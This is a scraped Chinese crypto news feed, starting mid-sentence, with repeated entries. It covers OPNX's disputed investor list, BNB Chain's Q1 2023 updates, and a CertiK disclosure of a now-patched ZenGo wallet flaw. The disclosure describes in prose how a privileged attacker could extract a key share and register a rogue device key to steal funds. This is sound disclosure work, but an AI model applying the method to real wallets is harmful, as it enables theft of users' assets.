Davies，并且不支持他们在3AC最后阶段的作为。与此同时，在过往CoinFLEX的融资消息中，我们确实能看到“被点名”机构的身影。比如，DRW是CoinFLEX的投资者之一；Nascent参与了CoinFLEX代币FLEX于2021年2月公布的125万美元融资。 值得一提的是，Leslie Lamb在今年3月初透露，Su Zhu和Kyle Davies在早期想法和愿景方面有很大贡献，但目前已经不参与OPNX日常事务。OPNX在此之际发布具有误导性的公告不免有炒作之嫌。 总之，OPNX创办团队成员均在上一次创业破产，项目口碑不佳且风险较大，被提及的投资机构在“被迫”入股的情况下，自然不想为该项目的背书。  ( 2 min )
    OPNX上演融资“罗生门”：多家投资机构集体否认参投，CEO却称有公开文件可证明
    近日，三箭资本创始人Su Zhu等人创办的加密索赔交易平台Open Exchange（OPNX）在公布其主要投资者后剧情出现反转，包括DRW、Nascent、MIAX和Susquehanna等多家公司都接连否认投资了OPNX，双方各执一词，并互相指责对方说谎，俨然一场“罗生门”。 4月21日，OPNX发推文公布了其主要投资者，包括AppWorks、Susquehanna (SIG)、DRW VC、MIAX Group、Merchant Bank International（招行国际）的香港分行、Token Bay Capital、Nascent、Tuwaiq Limited等，并表示这些机构不仅提供了资金，还在其愿景、代币经济学、法律框架及搬迁至香港的决定等方面给予了帮助。 然而，OPNX公布投资者名单不久就被迅速“打脸”。DRW的一位发言人在电子邮件中表示，“DRW不是OPNX的投资者，其附属公司也不是OPNX的投资者。”与此同时，Nascent表示其没有参与OPNX的融资轮，但在2021年初投资了FLEX代币。随后MIAX也证实其不是OPNX的投资者，并补充表示没有购买任何FLEX。 此外，Susquehanna的一位发言人表示：“我们知道CoinFLEX与OPNX的拟议交易。我们没有投票赞成或以其他方式批准这项拟议的交易。我们没有向OPNX提供任何资金，也没有这样做的意图。” 针对多家机构否认投资OPNX一事，OPNX在推特上回应称，“OPNX的核心价值观是透明度，所以我们披露了机构支持者和关键战略合作伙伴。而公司在寻求经济利益的同时，又害怕来自舆论的反对压力而否认存在关联，这很难看。如果任何一方在致力于透明度和行业发展方面动摇了，那么我们对他们的虚假陈述表示失望，并希望未来不要让他们作为投资者。” 另外，OPNX CEO Leslie Lamb则表示，机构支持者要么直接投资OPNX，要么通过CoinFLEX重组就股权进行谈判，公开法庭文件可以证明。 对于资本圈这一“罗生门”大戏，真相究竟是什么？或许我们要从OPNX的创建和CoinFLEX之间的联系说起。 OPNX是由已破产的三箭资本创始人Su Zhu、Kyle Davies与加密交易所CoinFLEX联合创始人Mark Lamb合作推出的，用户可以在该市场上交易Celsius、Genesis、BlockFi、Mt. Gox和三箭资本等破产Web3公司的代币化债权（相关阅读：两个暴雷团队合伙再创业，三箭资本拟新创办的债权交易市场能救FTX受害者吗？）。今年3月，有知情人士称OPNX完成了2500万美元融资，该消息也被Su Zhu转发证实。 而CoinFLEX是一家加密货币衍生品交易所，2022年6月，该平台宣布暂停提款，并解释是由于“比特币耶稣” Roger Ver欠款导致了平台出现流动性危机，已向Roger Ver发出违约通知，索赔4700万枚USDC。对此，Roger Ver第一时间予以否认，并表示CoinFLEX倒欠自己一笔钱。据此前吴说报道，此债务真相是拥有CoinFLEX特殊账户的Roger Ver的头寸彻底穿仓，变成了负资产，而CoinFlex则持有着一堆归零的FLEX。据统计，CoinFLEX的真实亏损达到1.2亿美元，包括因稳定币FlexUSD的脱锚造成的损失等。 2022年8月，CoinFLEX在塞舌尔法院申请重组，并表示将寻求储户和法院的批准，以向储户发行rvUSD代币、股权和锁定的FLEX代币。该重组计划以近99%的支持率投票获得通过，债权人将拥有公司65%的股份，CoinFLEX团队将被分配15%的股份，同时B轮投资者也将继续成为重组公司的股东，BCH联盟将承担SmartBCH跨链桥的责任。但根据CoinFLEX CEO Mark Lamb 的说法，此重组计划因为Roger Ver和Blockchaincom CEO Peter Smith的不断干预，导致无法无法进行。 而CoinFLEX也于今年3月证实被OPNX收购，包括人员、技术和代币等所有资产，并更名为OPNX。也就是说，CoinFLEX品牌重塑后，其债权人、投资者等所持股份“被迫”变成了OPNX的股份。 “下面这个说法比较客观。这些投资人都是上个老项目（CoinFLEX）的投资人，重组之后转成OPNX股权，但不能据此说它们是新项目的战略投资人，这种说法本身有误导性（故意误导？）。公告里故意省略这些细节，显然是不妥的。困境公司转股到新公司，老投资人都是被迫无奈，还被二次消费，不爽也很合理。”dForce创始人杨民道表示。 部分投资机构也证实了这种说法。AppWorks官方发推文表示，他们是CoinFLEX的投资人，支持Mark Lamb这位创始者，并理解他努力为全体利害关系人谋求最大利益，我们的CoinFlex股权被转进OPNX，AppWorks未对OPNX投入资金。我们从未见过Su Zhu或Kyle Davies，并且不支持他们在3AC最后阶段的作为。与此同时，在过往CoinFLEX的融资消息中，我们确实能看到“被点名”机构的身影。比如，DRW是CoinFLEX的投资者之一；Nascent参与了CoinFLEX代币FLEX于2021年2月公布的125万美元融资。 值得一提的是，Leslie Lamb在今年3月初透露，Su Zhu和Kyle Davies在早期想法和愿景方面有很大贡献，但目前已经不参与OPNX日常事务。OPNX在此之际发布具有误导性的公告不免有炒作之嫌。 总之，OPNX创办团队成员均在上一次创业破产，项目口碑不佳且风险较大，被提及的投资机构在“被迫”入股的情况下，自然不想为该项目的背书。  ( 2 min )
    BNB Chain官方博客：2023年BNB链Q1重要技术更新一览
    BNB 链在 Q1 取得了一系列技术突破，为开发者带来了创新与机遇。本文总结了重要更新，如 Greenfield 测试网上线、交易成本降低、BSC 验证者自抵押更新、MEV 研究等。还介绍了 Planck 升级中的关键 BEP 提案、Cocos-BCX 和 NodeReal 合作带来的 Optimism 解决方案以及即将推出的 OpBNB 和 ZkBNB 项目。这些进展不仅提高了 BNB 链的功能和安全性，还为开发者提供了丰富的创新机会。 BNB 链 Q1 技术更新：为开发者带来的创新与机遇 ? Planck 升级 ⚙️ Cocos-BCX 和 NodeReal 合作 ? 即将推出的技术改进 ?️ 本文由“Web3地图”编译自 BNB Chain 官方博客，文中观点为原作者所有，不作为任何财务建议，仅作信息参考、研究之用。 BNB Chain Q1 技术更新 BNB 链生态系统更新 BNB 链生态系统更新 BNB 链生态系统的发展和技术进步非常迅速。在这篇博客文章中，我们将讨论 BNB 链的最近更新，包括 Greenfield 测试网、降低交易成本、MEV 研究、Planck 升级以及与 Cocos-BCX 和 NodeReal 的合作。 我们还将提供即将推出的项目（如 OpBNB 和 ZkBNB）的相关更新。这些创新和机遇使 BNB 链成为开发者和用户的有吸引力的平台。 Greenfield 测试网已上线：Greenfield 测试网是一个旨在为去中心化应用程序（dApps）提供可扩展且高效的数据可用性层的开源项目，现已上线。这个里程碑为开发者提供了在平台上测试其 dApps 并为其发展做出贡献的机会。我们鼓励 dApp 开发者探索 Greenfield 的功能并加入繁荣的 BNB 链社区。 BNB Greenfield 指南 - https://greenfield.bnbchain.org/docs/guide/ 降低交易成本：经过广泛讨论，BSC 验证者已将交易成本从 5 Gwei 降低到 3 Gwei。这种费用降低有助于推动网络的接纳，进一步增强 BNB 链对开发者和用户的吸引力。 https://forum.bnbchain.org/t/a-proposal-for-adopting-a-lower-transaction-fee-cost-on-bnb-smart-chain-to-enhance-competitiveness/ BSC 验证者自抵押更新：得益于链上治理提案，验证者大幅降低了成为 BNB 智能链验证者的成本，促进了一个更加多样化和强大的生态系统。这一变化极大地惠及社区，降低了成为 BSC 验证者的准入门槛。自抵押从 10,000 BNB 降至 2,000 BNB。 BSC 上的 MEV 研究：BSC 最近举办了一个关注矿工可提取价值（MEV）研究的技术社区电话会议。参与者之间的热烈讨论展示了对解决 BSC 上与 MEV 相关问题的积极兴趣。我们邀请更多的研究人员和开发者加入 BNB链上正在进行的 MEV 研究工作。 Planck 硬分叉升级包括两个关键的 BEP： BEP-171：跨链模块的安全增强。该提案为 BNB Beacon Chain 和 BNB Smart Chain 之间的跨链桥引入了多个安全增强功能。 BEP-172：在 Slash 发生时的网络稳定性增强。该提案建议更新 Parlia 共识以提高网络稳定性。 集成 EIP-4337 打包器与 L2 验证者/排序器的 API，一个 Github 提案，扩展 "sendRawTransaction" RPC 请求，添加附加参数和检查，以确保没有网络更改可能导致交易回滚。 链接 - https://github.com/bnb-chain/bsc/pull/1357 Cocos-BCX 和 NodeReal Optimism 解决方案：Cocos-BCX 和 NodeReal 之间的合作为 BNB 链带来了一个 Optimism 解决方案，为开发者提供了一套强大的工具，可用于创建 Web3 游戏和应用程序。 更多信息：链接 - https://nodereal.io/blog/en/semita-optimistic-rollup-how-nodereal-is-accelerating-the-next-wave-of-the-web3-game/ BNB 链开发者社区不断突破创新的边界。随着最近的更新、合作和即将推出的项目，BNB 链为开发者提供了开发突破性解决方案的众多机会。我们鼓励更多开发者加入 BNB 链生态系统，共同推动其发展，并携手塑造区块链技术的未来。  ( 4 min )
    BNB Chain官方博客：2023年BNB链Q1重要技术更新一览
    BNB 链在 Q1 取得了一系列技术突破，为开发者带来了创新与机遇。本文总结了重要更新，如 Greenfield 测试网上线、交易成本降低、BSC 验证者自抵押更新、MEV 研究等。还介绍了 Planck 升级中的关键 BEP 提案、Cocos-BCX 和 NodeReal 合作带来的 Optimism 解决方案以及即将推出的 OpBNB 和 ZkBNB 项目。这些进展不仅提高了 BNB 链的功能和安全性，还为开发者提供了丰富的创新机会。 BNB 链 Q1 技术更新：为开发者带来的创新与机遇 ? Planck 升级 ⚙️ Cocos-BCX 和 NodeReal 合作 ? 即将推出的技术改进 ?️ 本文由“Web3地图”编译自 BNB Chain 官方博客，文中观点为原作者所有，不作为任何财务建议，仅作信息参考、研究之用。 BNB Chain Q1 技术更新 BNB 链生态系统更新 BNB 链生态系统更新 BNB 链生态系统的发展和技术进步非常迅速。在这篇博客文章中，我们将讨论 BNB 链的最近更新，包括 Greenfield 测试网、降低交易成本、MEV 研究、Planck 升级以及与 Cocos-BCX 和 NodeReal 的合作。 我们还将提供即将推出的项目（如 OpBNB 和 ZkBNB）的相关更新。这些创新和机遇使 BNB 链成为开发者和用户的有吸引力的平台。 Greenfield 测试网已上线：Greenfield 测试网是一个旨在为去中心化应用程序（dApps）提供可扩展且高效的数据可用性层的开源项目，现已上线。这个里程碑为开发者提供了在平台上测试其 dApps 并为其发展做出贡献的机会。我们鼓励 dApp 开发者探索 Greenfield 的功能并加入繁荣的 BNB 链社区。 BNB Greenfield 指南 - https://greenfield.bnbchain.org/docs/guide/ 降低交易成本：经过广泛讨论，BSC 验证者已将交易成本从 5 Gwei 降低到 3 Gwei。这种费用降低有助于推动网络的接纳，进一步增强 BNB 链对开发者和用户的吸引力。 https://forum.bnbchain.org/t/a-proposal-for-adopting-a-lower-transaction-fee-cost-on-bnb-smart-chain-to-enhance-competitiveness/ BSC 验证者自抵押更新：得益于链上治理提案，验证者大幅降低了成为 BNB 智能链验证者的成本，促进了一个更加多样化和强大的生态系统。这一变化极大地惠及社区，降低了成为 BSC 验证者的准入门槛。自抵押从 10,000 BNB 降至 2,000 BNB。 BSC 上的 MEV 研究：BSC 最近举办了一个关注矿工可提取价值（MEV）研究的技术社区电话会议。参与者之间的热烈讨论展示了对解决 BSC 上与 MEV 相关问题的积极兴趣。我们邀请更多的研究人员和开发者加入 BNB链上正在进行的 MEV 研究工作。 Planck 硬分叉升级包括两个关键的 BEP： BEP-171：跨链模块的安全增强。该提案为 BNB Beacon Chain 和 BNB Smart Chain 之间的跨链桥引入了多个安全增强功能。 BEP-172：在 Slash 发生时的网络稳定性增强。该提案建议更新 Parlia 共识以提高网络稳定性。 集成 EIP-4337 打包器与 L2 验证者/排序器的 API，一个 Github 提案，扩展 "sendRawTransaction" RPC 请求，添加附加参数和检查，以确保没有网络更改可能导致交易回滚。 链接 - https://github.com/bnb-chain/bsc/pull/1357 Cocos-BCX 和 NodeReal Optimism 解决方案：Cocos-BCX 和 NodeReal 之间的合作为 BNB 链带来了一个 Optimism 解决方案，为开发者提供了一套强大的工具，可用于创建 Web3 游戏和应用程序。 更多信息：链接 - https://nodereal.io/blog/en/semita-optimistic-rollup-how-nodereal-is-accelerating-the-next-wave-of-the-web3-game/ BNB 链开发者社区不断突破创新的边界。随着最近的更新、合作和即将推出的项目，BNB 链为开发者提供了开发突破性解决方案的众多机会。我们鼓励更多开发者加入 BNB 链生态系统，共同推动其发展，并携手塑造区块链技术的未来。  ( 4 min )
    MPC钱包安全性有待提升？深入分析ZenGo防御特权用户攻击问题
    ZenGo是一个使用多方计算（MPC）技术的安全Web 3钱包。 最近，CertiK的SkyFall团队对众多移动钱包进行了彻底的审计和研究，发现ZenGo的MPC解决方案提供了比普通移动钱包更强大的安全防御措施——ZenGo的钱包用户，尤其是那些高价值的钱包用户可以防御来自高级攻击者的直接攻击：例如利用零日漏洞或高级恶意软件在用户设备上获得root权限。 该威胁是最新出现且仅被CertiK团队发现，因此MPC钱包开发者请务必注意攻击细节！ 防御特权攻击者是具有挑战性的。我们在报告结果中提出了一个新的攻击方式，与针对ZenGo中的MPC方法攻击向量。于是我们立即向ZenGo报告了这个安全问题，同时ZenGo也迅速做出了回应并修复了该问题。 本文我们将深入探讨该发现的技术细节，并分享我们是如何与ZenGo合作以提高MPC钱包的整体安全性的。 基于我们对ZenGo安全设计的彻底审查和他们对问题的专业回应，CertiK认为ZenGo可以被称为目前市场上安全度较高的钱包解决方案。 多方计算（MPC），有时也被称为安全多方计算（SMPC），是密码学的一个领域。它允许多方联合签署交易，同时确保每一方的密钥不被泄露。 因为MPC技术可以在多方之间分配密钥从而消除任何单点故障，因此可以让用户更好地保护Web 3私钥，这种方法也通常被称为 "阈值签名"，目前已被许多Web 3托管人和钱包开发者采用以保护Web 3资产。其中，ZenGo是最广为人知且使用率最高的MPC钱包开发商之一。 如下图所示，该钱包并不是由一个传统的私钥来控制签署交易，而是由多个私钥分片参与交易签署过程，并产生一个最终签名从而进行验证。 产生签名的普通MPC设计 通过本次研究，我们已认识到与MPC方法相关的挑战和潜在的安全风险对于Web 3资产保护的重要性。于是我们想要通过探索和解决这些挑战来更好地保护Web3用户。 因此我们可以想一下这个问题：与传统的加密钱包相比，为什么MPC钱包可以提供更高的安全性？它又是如何做到的？ 通过本次研究，我们已认识到与MPC方法相关的挑战和潜在的安全风险对于Web 3资产保护的重要性。于是我们想要通过探索和解决这些挑战来更好地保护Web3用户。 因此我们可以想一下这个问题：与传统的加密钱包相比，为什么MPC钱包可以提供更高的安全性？它又是如何做到的？ 在评估了不同Web 3钱包的设计后，我们研究了MPC的Web 3钱包——我们评估了市场上最受推崇的MPC钱包之一，同时也是头部的自我托管MPC钱包——ZenGo。 本次评估我们采用了与之前研究概述中相同的威胁模型：“如果你的设备被植入了恶意软件，那么该钱包还能保护你的资产吗？” ZenGo安全架构概述 如上图所示，ZenGo钱包具备独特的安全设计，安全架构和恢复过程比传统的钱包更富有层次。ZenGo提供的安全功能包括但不限于： 双方签名方案：ZenGo的MPC设计实现了双方签名方案。每个用户在生成交易签名时都涉及两个密钥分片：一个存储在ZenGo的服务器上（主密钥①），另一个存储在用户的设备上（主密钥②）。ZenGo和用户均不知道对方持有的密钥是什么。 基于TEE的保护：此外，为了防止 "中间人 "和 “APP劫持"的攻击，ZenGo应用程序使用了TEE（可信执行环境）解决方案，并用TEE专用密钥签署HTTPS的通信内容来请求相关API。这个基于TEE的设备密钥是在用户设置设备时在TEE内产生的，即使是操作系统本身也无法提取。 有了这些安全功能，攻击者就不能再从内存或存储文件中窃取用户的私钥并控制ZenGo用户的资产。ZenGo还利用TEE来保护服务器和客户端之间的互动不能够被篡改。这也意味着“中间人”和 "APP劫持"攻击被有效阻止和防御了。 我们的审计证实，ZenGo确实有一个安全的设计和实现可以抵御这些攻击，并且这已是我们所接触过的被审计钱包中具备最高安全水准的设计。 ZenGo的安全设计和实现成功地防御了包括来自特权的攻击及上述攻击。然而处理所有类型的特权攻击也并不是易事，特别是考虑到攻击者可以读取（以及在某些情况下写入）任意内存。 通过审计整个钱包，我们能够发现ZenGo中的一个实现问题那就是：该钱包允许我们作为特权攻击者从而绕过某些保护。 不过在讨论细节之前，让我们先回顾一下ZenGo钱包的安全机制。 通过本次研究，我们已认识到与MPC方法相关的挑战和潜在的安全风险对于Web 3资产保护的重要性。于是我们想要通过探索和解决这些挑战来更好地保护Web3用户。 因此我们可以想一下这个问题：与传统的加密钱包相比，为什么MPC钱包可以提供更高的安全性？它又是如何做到的？ 一个经典的Web 3钱包只需要一个私钥。然而用户总是有一定可能会透露私钥或助记词的。因此他们可能会丢失私钥，然后眼睁睁看着攻击者占有资产。 MPC钱包的工作方式则不同。该钱包没有单一的私钥，用户现在只持有一份私钥分片，对其余的私钥分片一无所知。从这个角度看，攻击者即使获得了用户那一份的个人密钥，也不能直接转移资金。而为了进一步保护用户，ZenGo使用了多种手段来加强他们的安全设计：不仅仅是上述的双方签名方案和基于TEE的设备保护，还有基于面部扫描的生物识别认证及额外密钥加密等。 在用户注册和账号恢复过程中，ZenGo采用了以下保护措施来保护用户资产。 用户识别保护：双方签名方案要求只有当用户与另一方（ZenGo的设定为服务器方）交互，才能动用他们的资金。为了能够识别用户和存储在服务器上的相关密钥份额，ZenGo需要用户的电子邮件以便注册账户。 为了避免电子邮件被黑，ZenGo使用了面部扫描技术（FaceTec的Zoom），将生物识别信息与用户账户绑定。在注册与电子邮件验证后的账号恢复过程中，用户需要“刷脸”来进行认证。 应用程序-服务器通信保护：为了确保ZenGo服务器与合法用户的设备进行互动，ZenGo在注册和账号恢复过程中在TEE环境中生成并注册了一个非对称密钥。ZenGo应用程序和服务器之间的所有交互都需要由这个特定的密钥签署。因为它受到硬件支持的安全解决方案的保护，因此攻击者不能直接读取这个密钥，而该密钥也很难被滥用。 ZenGo用户注册和账号恢复过程 用户密钥共享保护：让用户存储和备份其密钥分片是有风险的，因为这或将危及到ZenGo提供的所有安全措施。而为了解决这个安全问题，ZenGo在注册过程中生成了一个加密密钥。加密密钥对用户的密钥共享进行加密，并将密码文本存储在其服务器上。 但是，加密密钥不与ZenGo共享，而是强制与用户的Google Drive或iCloud进行同步。只有在用户通过电子邮件验证和基于服务器的生物识别认证后，才能将加密的密钥共享并进一步解密。其中基于服务器的生物识别认证（FaceTec人脸识别）几乎不可能被常规的2D/3D人脸重建“蒙骗”。 ZenGo的交易过程 为了签署一项交易，ZenGo应用程序与ZenGo服务器进行了一系列的交互。在交互过程中，ZenGo使用其开源的双方签名解决方案和用户密钥分片来生成双方签名。然后，ZenGo服务器再进一步完成签名并广播交易。这个过程中的所有请求都有时间戳和TEE中的签名以保持信息的完整性和不可重放性。 正如我们之前所讨论的，ZenGo的安全设计中涉及许多加密密钥，每一个密钥都有不同的职责。在下面的表格中，我们显示了ZenGo使用了哪些密钥以及它们是如何被保护的。 通过这个表格，我们可以看到，在客户端有三个密钥被使用：主密钥②，设备密钥和加密密钥。攻击者需要同时获得主密钥②和设备密钥，以便与ZenGo服务器互动，窃取用户资金。 正如前面交易细节部分所介绍的，主密钥②在内存中作为文本参与双方签名的生成，它允许攻击者读取进程内存并提取主密钥②。而作为一种一定程度上的解决方案，所有对ZenGo服务器的交易请求都需要由设备密钥签署，而设备密钥是不能被读取或提取的。这个过程是在TEE中完成的，攻击者无法控制。 然而，尽管ZenGo的安全设计考虑到了许多方面，CertiK的SkyFall团队仍然在其中发现了一个漏洞。在对ZenGo应用程序中所有API进行细节审计后，我们注意到某些API允许攻击者欺骗ZenGo服务器，并轻松生成一个新的设备密钥，以便在其他设备上使用。 这种由设备密钥注册的API缺乏必要的安全保护措施：攻击者可以在其他设备上生成一个新的NIST P-256椭圆曲线密钥，然后攻击者可以利用设备密钥注册API，并注册新生成的密钥对，假装新的用户设备并请求交易。 我们将这种攻击命名为设备分叉攻击。 如上文所述，攻击者需要拥有ZenGo用户的主密钥②和有效的设备密钥来窃取其资产。 主密钥②：主密钥②是一个固定的密钥，在内存中作为明文使用，以便参与双方的签名过程。由于双方签名算法的复杂性和独特性，这个过程不能在TEE中完成。因此，一个有特权权限的攻击者可以简单地转储进程内存或劫持某些系统API来提取主密钥②。下方截图显示了我们在iOS平台上能够提取到的主密钥②。 设备密钥：在注册或账号恢复过程中，TEE中的用户设备上会生成一个有效的设备密钥作为对前述明文提取威胁的解决方案。设备密钥并不能被有特权权限的攻击者读取，然而，攻击者可以使用相同的设备密钥注册API，从而来注册另一对密钥并使用它。 设备密钥注册API只有一个非常基础的认证机制：攻击者可以使用一个普通的明文本地存储的JWT 令牌和提取到的主密钥②进行API身份认证。根据设计，该API涉及到的服务器代码也应该经过Face tec生物识别认证。然而在实践中，由于逻辑缺陷，代码未能执行此环节。 在我们的模拟攻击中，我们模拟了一个具备特权权限的攻击者，并持续监控受害者的设备。一旦ZenGo应用程序被启动，我们便立即从内存中提取主密钥②，并从本地数据库中读取API令牌。而这些信息足以让攻击者盗取用户的全部资金！ 一旦有了API令牌，我们就会生成一个新的设备密钥，并调用设备密钥注册API从而在ZenGo服务器上注册设备密钥。随后，我们构建了所有的API请求，与ZenGo服务器交互来发起交易。对于MPC钱包来说，生成双方签名是一个非常独特并且复杂的过程。不过好在ZenGo的开发过程始终秉承着开源精神，我们才能够编译官方ZenGo应用程序中使用的双方签名库并在本地运行。 上图中展示了我们是如何提取主密钥②并代表受害者注册一个新的设备密钥的。随后我们利用这两个密钥向“攻击者的账户”发送了0.00222 ETH。这整个过程只用了几秒钟，并且受害者也会完全意识不到。 为了解决这个问题，ZenGo在服务器端为设备注册实施了FaceTec生物识别认证。服务器API级别的解决措施消除了这种攻击的可能性，且不需要更新客户端代码。 总结 在CertiK对ZenGo的评估中，我们彻底检查并审计了其为保护用户资产所采取的所有安全措施。这些措施包括双方签名方案、基于TEE的设备保护以及用来注册和恢复账号的生物识别。 尽管ZenGo有着较高的安全意识，并采取了诸多措施用来提高自己的安全性，CertiK还是在ZenGo的实施中发现了一个关键的可被利用的API访问认证风险。该漏洞可以让持有特权的攻击者绕过现有的安全措施，并在用户的设备被破坏时窃取用户的资金。 ZenGo及时解决了该问题并部署了一个补丁，CeritK随后也进行了彻底的进一步审计并确定该补丁已修复报告中提到的风险。 随着补丁的部署，我们相信ZenGo在日后可以有效地预防特权用户非法访问用户资金。防御特权攻击者是一项艰巨的任务，而ZenGo的安全实践向我们展示了全面保护用户的安全方法。该钱包的做法超过了目前市场上绝大多数常规钱包。 我们很荣幸能够与ZenGo合作，并很荣幸能够与ZenGo在保护Web 3用户安全方面做出共同努力并解决安全挑战。同时也感谢ZenGo对我们发现漏洞的及时回应与高效的漏洞补丁出台行动。 作为安全行业的从业者，我们很高兴看到一个顶级Web 3钱包公司如此重视安全，对用户和用户的资金具备如此高的责任心。希望在未来的安全道路中，我们可为更多项目提升安全性，为其用户赋予“安心”。  ( 2 min )
    MPC钱包安全性有待提升？深入分析ZenGo防御特权用户攻击问题
    ZenGo是一个使用多方计算（MPC）技术的安全Web 3钱包。 最近，CertiK的SkyFall团队对众多移动钱包进行了彻底的审计和研究，发现ZenGo的MPC解决方案提供了比普通移动钱包更强大的安全防御措施——ZenGo的钱包用户，尤其是那些高价值的钱包用户可以防御来自高级攻击者的直接攻击：例如利用零日漏洞或高级恶意软件在用户设备上获得root权限。 该威胁是最新出现且仅被CertiK团队发现，因此MPC钱包开发者请务必注意攻击细节！ 防御特权攻击者是具有挑战性的。我们在报告结果中提出了一个新的攻击方式，与针对ZenGo中的MPC方法攻击向量。于是我们立即向ZenGo报告了这个安全问题，同时ZenGo也迅速做出了回应并修复了该问题。 本文我们将深入探讨该发现的技术细节，并分享我们是如何与ZenGo合作以提高MPC钱包的整体安全性的。 基于我们对ZenGo安全设计的彻底审查和他们对问题的专业回应，CertiK认为ZenGo可以被称为目前市场上安全度较高的钱包解决方案。 多方计算（MPC），有时也被称为安全多方计算（SMPC），是密码学的一个领域。它允许多方联合签署交易，同时确保每一方的密钥不被泄露。 因为MPC技术可以在多方之间分配密钥从而消除任何单点故障，因此可以让用户更好地保护Web 3私钥，这种方法也通常被称为 "阈值签名"，目前已被许多Web 3托管人和钱包开发者采用以保护Web 3资产。其中，ZenGo是最广为人知且使用率最高的MPC钱包开发商之一。 如下图所示，该钱包并不是由一个传统的私钥来控制签署交易，而是由多个私钥分片参与交易签署过程，并产生一个最终签名从而进行验证。 产生签名的普通MPC设计 通过本次研究，我们已认识到与MPC方法相关的挑战和潜在的安全风险对于Web 3资产保护的重要性。于是我们想要通过探索和解决这些挑战来更好地保护Web3用户。 因此我们可以想一下这个问题：与传统的加密钱包相比，为什么MPC钱包可以提供更高的安全性？它又是如何做到的？ 通过本次研究，我们已认识到与MPC方法相关的挑战和潜在的安全风险对于Web 3资产保护的重要性。于是我们想要通过探索和解决这些挑战来更好地保护Web3用户。 因此我们可以想一下这个问题：与传统的加密钱包相比，为什么MPC钱包可以提供更高的安全性？它又是如何做到的？ 在评估了不同Web 3钱包的设计后，我们研究了MPC的Web 3钱包——我们评估了市场上最受推崇的MPC钱包之一，同时也是头部的自我托管MPC钱包——ZenGo。 本次评估我们采用了与之前研究概述中相同的威胁模型：“如果你的设备被植入了恶意软件，那么该钱包还能保护你的资产吗？” ZenGo安全架构概述 如上图所示，ZenGo钱包具备独特的安全设计，安全架构和恢复过程比传统的钱包更富有层次。ZenGo提供的安全功能包括但不限于： 双方签名方案：ZenGo的MPC设计实现了双方签名方案。每个用户在生成交易签名时都涉及两个密钥分片：一个存储在ZenGo的服务器上（主密钥①），另一个存储在用户的设备上（主密钥②）。ZenGo和用户均不知道对方持有的密钥是什么。 基于TEE的保护：此外，为了防止 "中间人 "和 “APP劫持"的攻击，ZenGo应用程序使用了TEE（可信执行环境）解决方案，并用TEE专用密钥签署HTTPS的通信内容来请求相关API。这个基于TEE的设备密钥是在用户设置设备时在TEE内产生的，即使是操作系统本身也无法提取。 有了这些安全功能，攻击者就不能再从内存或存储文件中窃取用户的私钥并控制ZenGo用户的资产。ZenGo还利用TEE来保护服务器和客户端之间的互动不能够被篡改。这也意味着“中间人”和 "APP劫持"攻击被有效阻止和防御了。 我们的审计证实，ZenGo确实有一个安全的设计和实现可以抵御这些攻击，并且这已是我们所接触过的被审计钱包中具备最高安全水准的设计。 ZenGo的安全设计和实现成功地防御了包括来自特权的攻击及上述攻击。然而处理所有类型的特权攻击也并不是易事，特别是考虑到攻击者可以读取（以及在某些情况下写入）任意内存。 通过审计整个钱包，我们能够发现ZenGo中的一个实现问题那就是：该钱包允许我们作为特权攻击者从而绕过某些保护。 不过在讨论细节之前，让我们先回顾一下ZenGo钱包的安全机制。 通过本次研究，我们已认识到与MPC方法相关的挑战和潜在的安全风险对于Web 3资产保护的重要性。于是我们想要通过探索和解决这些挑战来更好地保护Web3用户。 因此我们可以想一下这个问题：与传统的加密钱包相比，为什么MPC钱包可以提供更高的安全性？它又是如何做到的？ 一个经典的Web 3钱包只需要一个私钥。然而用户总是有一定可能会透露私钥或助记词的。因此他们可能会丢失私钥，然后眼睁睁看着攻击者占有资产。 MPC钱包的工作方式则不同。该钱包没有单一的私钥，用户现在只持有一份私钥分片，对其余的私钥分片一无所知。从这个角度看，攻击者即使获得了用户那一份的个人密钥，也不能直接转移资金。而为了进一步保护用户，ZenGo使用了多种手段来加强他们的安全设计：不仅仅是上述的双方签名方案和基于TEE的设备保护，还有基于面部扫描的生物识别认证及额外密钥加密等。 在用户注册和账号恢复过程中，ZenGo采用了以下保护措施来保护用户资产。 用户识别保护：双方签名方案要求只有当用户与另一方（ZenGo的设定为服务器方）交互，才能动用他们的资金。为了能够识别用户和存储在服务器上的相关密钥份额，ZenGo需要用户的电子邮件以便注册账户。 为了避免电子邮件被黑，ZenGo使用了面部扫描技术（FaceTec的Zoom），将生物识别信息与用户账户绑定。在注册与电子邮件验证后的账号恢复过程中，用户需要“刷脸”来进行认证。 应用程序-服务器通信保护：为了确保ZenGo服务器与合法用户的设备进行互动，ZenGo在注册和账号恢复过程中在TEE环境中生成并注册了一个非对称密钥。ZenGo应用程序和服务器之间的所有交互都需要由这个特定的密钥签署。因为它受到硬件支持的安全解决方案的保护，因此攻击者不能直接读取这个密钥，而该密钥也很难被滥用。 ZenGo用户注册和账号恢复过程 用户密钥共享保护：让用户存储和备份其密钥分片是有风险的，因为这或将危及到ZenGo提供的所有安全措施。而为了解决这个安全问题，ZenGo在注册过程中生成了一个加密密钥。加密密钥对用户的密钥共享进行加密，并将密码文本存储在其服务器上。 但是，加密密钥不与ZenGo共享，而是强制与用户的Google Drive或iCloud进行同步。只有在用户通过电子邮件验证和基于服务器的生物识别认证后，才能将加密的密钥共享并进一步解密。其中基于服务器的生物识别认证（FaceTec人脸识别）几乎不可能被常规的2D/3D人脸重建“蒙骗”。 ZenGo的交易过程 为了签署一项交易，ZenGo应用程序与ZenGo服务器进行了一系列的交互。在交互过程中，ZenGo使用其开源的双方签名解决方案和用户密钥分片来生成双方签名。然后，ZenGo服务器再进一步完成签名并广播交易。这个过程中的所有请求都有时间戳和TEE中的签名以保持信息的完整性和不可重放性。 正如我们之前所讨论的，ZenGo的安全设计中涉及许多加密密钥，每一个密钥都有不同的职责。在下面的表格中，我们显示了ZenGo使用了哪些密钥以及它们是如何被保护的。 通过这个表格，我们可以看到，在客户端有三个密钥被使用：主密钥②，设备密钥和加密密钥。攻击者需要同时获得主密钥②和设备密钥，以便与ZenGo服务器互动，窃取用户资金。 正如前面交易细节部分所介绍的，主密钥②在内存中作为文本参与双方签名的生成，它允许攻击者读取进程内存并提取主密钥②。而作为一种一定程度上的解决方案，所有对ZenGo服务器的交易请求都需要由设备密钥签署，而设备密钥是不能被读取或提取的。这个过程是在TEE中完成的，攻击者无法控制。 然而，尽管ZenGo的安全设计考虑到了许多方面，CertiK的SkyFall团队仍然在其中发现了一个漏洞。在对ZenGo应用程序中所有API进行细节审计后，我们注意到某些API允许攻击者欺骗ZenGo服务器，并轻松生成一个新的设备密钥，以便在其他设备上使用。 